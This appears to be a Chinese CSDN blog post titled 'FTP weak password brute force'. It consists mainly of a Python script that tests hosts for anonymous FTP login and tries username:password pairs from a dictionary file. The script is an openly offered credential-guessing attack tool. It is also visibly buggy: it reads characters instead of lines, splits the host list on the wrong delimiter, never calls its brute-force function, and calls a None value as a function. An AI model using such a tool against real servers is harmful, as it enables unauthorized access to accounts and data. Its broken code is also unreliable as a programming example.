关闭

FTP弱密码包爆破

标签: ftp
583人阅读 评论(0) 收藏 举报
分类:
#_*_coding_*_:utf-8
from ftplib import *
import argparse
import time
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print ('\n[*] ' + str(hostname) + "FTP Anonymous login successful!")
            return True
    except Exception as e:
        print ('\n[-] ' + str(hostname) + "FTP Anony,ous logon failure!")
        return False
def vlcLogin(hostname,pwdFile):
    try:
        with open(pwdFile,'r') as pf:
            for line in pf.readline():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying:' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName,passWord)
                        print ('\n[+]' + str(hostname) + 'FTP login successful:'+ userName + ':' + passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print ('Error: the password file does not exist!')
    print ('\n[-] Cannot crack the FTP password please change the password dictionary try again')
    return (None,None)
def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with"," space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionadry file')
    options = None
    try:
        options = parser.parse_args()
    except:
        print(parser.parse_args(['-h']))
        exit(0)
    hostNames = str(options.hostName).split('.')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)
    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print ('Host: ' + hostName + 'Can anonymously!')
        elif pwdFile != None:
            print ('\n[+] Host: ' + hostName + 'Username:' + username + 'Password:' + password())
    print ('\n[*]------------Scan End!___________________[*]')
if __name__ == '__main__':
    main()


0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:21096次
    • 积分:440
    • 等级:
    • 排名:千里之外
    • 原创:23篇
    • 转载:0篇
    • 译文:0篇
    • 评论:1条
    最新评论